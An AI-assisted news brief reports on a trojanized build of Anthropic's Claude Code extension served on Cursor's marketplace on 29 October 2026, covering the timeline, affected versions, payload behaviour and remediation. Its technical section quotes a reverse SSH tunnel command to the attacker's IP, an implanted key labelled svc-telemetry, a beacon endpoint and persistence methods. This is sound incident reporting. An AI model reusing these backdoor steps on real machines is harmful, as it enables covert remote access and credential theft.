Oct 31 edition/Reporting & analysis
CodingSafetyBusiness

CodingSoftware & developer tools

Trojanized build of Anthropic's Claude Code extension sat on Cursor's marketplace for about 11 hours

Someone published a trojanized build of Anthropic's official Claude Code extension under Anthropic's real account on Cursor's marketplace. It stayed up for about 11 hours on 29 October, reached developer machines through auto-update and tried to plant a persistent SSH backdoor before Cursor removed it.

From the Ars Technica · AI article of October 30, 2026 and cited sources: From about 09:27 to 20:35 UTC on 29 October, Cursor's marketplace served anthropic.claude-code 2.1.313 under Anthropic's publisher identity. [2] [3] [6] [1]

SOURCES[2] Cursor: Claude Code extension security notice cursor.com[3] StepSecurity: Trojanized Claude Code Extension stepsecurity.io[6] OpenSourceMalware: Trojanized Claude Code extension plants… opensourcemalware.com

AI-assisted, not human-edited. Methodology Corrections Who owns this site

KEY FACTS
What happened
From about 09:27 to 20:35 UTC on 29 October, Cursor's marketplace served anthropic.claude-code 2.1.313 under Anthropic's publisher identity. [2] [3] [6] [1]
Original source
Ars Technica · AI article, independent perspective
Brief by
AT Pulse research desk AI-assisted; publisher and contact on the desk page
When
October 30, 2026 article published
Evidence
7 sources across 7 sites

Reach: not measured yet

Illustration from Ars Technica: Trojanized build of Anthropic's Claude Code extension sat on Cursor's marketplace for about 11 hours
Image: Ars Technica — Original article ↗
THE CORE IDEAS3 TAKEAWAYS
01

From about 09:27 to 20:35 UTC on 29 October, Cursor's marketplace served anthropic.claude-code 2.1.313 under Anthropic's publisher identity. Cursor later said 2.1.312 was malicious too. Because auto-update is on by default, many users got it without doing anything. Cursor says no more than 5,000 users installed it, but that count comes only from Cursor. Open VSX, Microsoft's marketplace and the npm package were not affected, and version 2.1.314 is clean. [2] [3] [6] [1]

02

The attacker added a short loader to the top of extension.js, so it ran as soon as the extension loaded. It added an SSH key labelled svc-telemetry, tried to open a reverse SSH tunnel to the attacker's server, sent host details and environment-variable names back, and set itself up to survive restarts. StepSecurity, OpenSourceMalware and Phorion each analyzed the code, and their findings match Cursor's. The tunnel often failed because turning on SSH needed admin rights, but the persistence and reporting home still worked. [3] [6] [1] [5]

03

VS Code forks like Cursor run their own extension marketplaces, so a publisher account there is a separate point of trust from the same account on Microsoft's marketplace or Open VSX. An earlier Cursor flaw let any installed extension read stored keys, which makes a compromise like this worse. Cursor advises anyone affected to check for its listed signs of compromise, isolate the machine, and rotate every credential it held, working from a clean system. [2] [3] [7]

WHY IT MATTERS

What happened: one bad publish on a fork's marketplace reached developer machines automatically, with the same access as the IDE.

Read the full assessment

What it means: teams using AI coding tools should track each marketplace separately and weigh pinning extension versions against the convenience of auto-update.

Executive brief

For about 11 hours on 29 October 2026, Cursor's extension marketplace served a trojanized build of Anthropic's official Claude Code extension (anthropic.claude-code 2.1.313) under Anthropic's real publisher identity. Cursor says at most 5,000 users installed it. Cursor extensions auto-update by default, so many developers could have received it without doing anything. The payload collected host details and tried to plant a persistent SSH backdoor. Bugs in the code often stopped the backdoor from working. Neither company has said publicly how the attacker got publishing access. Anthropic says its own systems were not breached.

What changed and event timeline

  1. 20:26 UTC: Clean 2.1.312 on Open VSX

    A legitimate 2.1.312 appears on Open VSX. This is the baseline the malicious release later replaced in Cursor's marketplace ().

  2. ~09:27 UTC (2:27 a.m. PT): Malicious 2.1.313 published

    The trojanized build goes live in Cursor's marketplace under Anthropic's official account and replaces 2.1.312 for users with auto-update on (;).

  3. 20:35 UTC (1:35 p.m. PT): Distribution stopped

    Cursor pulls the build, has the attacker's server taken offline, and shuts its marketplace to rotate keys and audit access before reopening ().

  4. 01:07 UTC: Clean 2.1.314 released

    Anthropic publishes the fixed version to Open VSX and Microsoft's marketplace ().

  5. 11:30 a.m. PT: Scope widened

    Cursor updates its notice to name both 2.1.312 and 2.1.313 as malicious builds on its marketplace, for Windows and macOS, and adds indicators of compromise (IOCs) ().

Capabilities and access

  • Affected: anthropic.claude-code 2.1.313, and per Cursor's later update also 2.1.312, installed from Cursor's marketplace (Cursor).
  • Not affected: the npm package, Open VSX and Microsoft's VS Code Marketplace (OpenSourceMalware).
  • Access level: the extension ran with the IDE's permissions, so it could reach local files, source code and developer tooling (Ars Technica).
Read the full section
  • Affected: anthropic.claude-code 2.1.313, and per Cursor's later update also 2.1.312, installed from Cursor's marketplace (Cursor).
  • Not affected: the npm package, Open VSX and Microsoft's VS Code Marketplace (OpenSourceMalware).
  • Access level: the extension ran with the IDE's permissions, so it could reach local files, source code and developer tooling (Ars Technica).
  • Fixed version: 2.1.314.

Technical analysis for researchers and developers

  • How it ran: a 66-line loader was added to the front of extension.js.
  • Backdoor: it added an Ed25519 key labelled svc-telemetry to authorized_keys, then opened a reverse tunnel with ssh -N -R '*:0:localhost:22' to 134.209.82.225.
  • Reporting home: it sent host details by HTTP POST to :8099/beacon and retried the tunnel roughly every 60 seconds.
Read the full section
  • How it ran: a 66-line loader was added to the front of extension.js. It ran as soon as the module loaded, with no VS Code API calls or Claude interaction needed (StepSecurity; OpenSourceMalware).
  • Backdoor: it added an Ed25519 key labelled svc-telemetry to authorized_keys, then opened a reverse tunnel with ssh -N -R '*:0:localhost:22' to 134.209.82.225.
  • Reporting home: it sent host details by HTTP POST to :8099/beacon and retried the tunnel roughly every 60 seconds.
  • Persistence: LaunchAgent on macOS, scheduled task on Windows and, per researchers, cron on Linux.
  • Detection: look for anthropic.claude-code-2.1.312- or -2.1.313- directories, and search extension.js for the IP address and svc-telemetry (StepSecurity).

Claims and evidence

  • Affected users ("at most 5,000"): reported by Cursor only. No independent count exists (Cursor).
  • Not Anthropic-developed: Cursor states that Anthropic did not write the malicious builds. The root cause has not been disclosed.
  • Payload behaviour: independently confirmed by OpenSourceMalware, StepSecurity and Phorion, whose analyses match Cursor's description.
Read the full section
  • Affected users ("at most 5,000"): reported by Cursor only. No independent count exists (Cursor).
  • Not Anthropic-developed: Cursor states that Anthropic did not write the malicious builds. Anthropic's Felix Rieseberg says Anthropic's systems and employee laptops were not compromised (StepSecurity). The root cause has not been disclosed.
  • Payload behaviour: independently confirmed by OpenSourceMalware, StepSecurity and Phorion, whose analyses match Cursor's description.
  • Credential targeting: Phorion says collecting environment-variable names let the operator see which cloud credentials and API tokens a machine held, and pick targets for follow-up attacks (Ars Technica).

Context and prior work

  • Separate marketplace: VS Code forks such as Cursor run their own extension marketplaces.
  • Earlier Cursor issue: a previously reported Cursor flaw let any installed extension read stored API keys and session tokens (VPNCentral).
  • Auto-update: auto-update on by default turned a single bad publish into silent installs across the user base.
Read the full section
  • Separate marketplace: VS Code forks such as Cursor run their own extension marketplaces. A publisher account on one of them is a separate trust point from Microsoft's marketplace and Open VSX.
  • Earlier Cursor issue: a previously reported Cursor flaw let any installed extension read stored API keys and session tokens (VPNCentral). That makes any extension compromise in Cursor more serious.
  • Auto-update: auto-update on by default turned a single bad publish into silent installs across the user base.

Limitations, safety and contested findings

  • Did the backdoor work? Machines that already had SSH enabled were still exposed (Cursor via The Hacker News).
  • Which channel? Help Net Security placed the malicious build on Open VSX and mentioned Windsurf users. Cursor, StepSecurity and OpenSourceMalware say only Cursor's marketplace was affected.
  • Researchers also describe Linux code.
Read the full section
  • Did the backdoor work? Enabling the SSH service usually needed admin rights, so on most machines that step failed. Machines that already had SSH enabled were still exposed (Cursor via The Hacker News). Phorion says it is still a serious threat because persistence and reporting home still worked.
  • Which channel? Help Net Security placed the malicious build on Open VSX and mentioned Windsurf users. Cursor, StepSecurity and OpenSourceMalware say only Cursor's marketplace was affected.
  • Which platforms? Cursor names Windows and macOS. Researchers also describe Linux code.
  • Anthropic's response: Ars Technica reports Anthropic had not issued a public customer notice. Rieseberg's statement exists but is not a formal advisory.

Business and practitioner implications

  • Check exposure: anyone who installed or updated the extension from Cursor between 09:27 and 20:35 UTC on 29 October should check authorized_keys, LaunchAgents, scheduled tasks, cron and temp .stk_* files.
  • If affected: isolate the machine, then rotate every credential that was present in its environment, working from a clean system (Cursor).
  • Fleet controls: decide whether to pin extension versions or turn off auto-update, and keep inventories that track each marketplace separately.
Read the full section
  • Check exposure: anyone who installed or updated the extension from Cursor between 09:27 and 20:35 UTC on 29 October should check authorized_keys, LaunchAgents, scheduled tasks, cron and temp .stk_* files.
  • If affected: isolate the machine, then rotate every credential that was present in its environment, working from a clean system (Cursor).
  • Fleet controls: decide whether to pin extension versions or turn off auto-update, and keep inventories that track each marketplace separately.
  • Vendor accountability: when an AI-tool vendor's extension is distributed through someone else's marketplace, ask both parties who controls the publishing credentials and who is responsible for notifying customers.
FOLLOW THE EVIDENCE

The source trail.

Sources (7)
A LITTLE LESS NOISE. A LOT MORE CONTEXT.

Stay curious.
Follow the evidence.

Independent perspectives, the original sources, and room for the questions that don't have easy answers.

How we build the brief
Connect with us

Find us where you already read.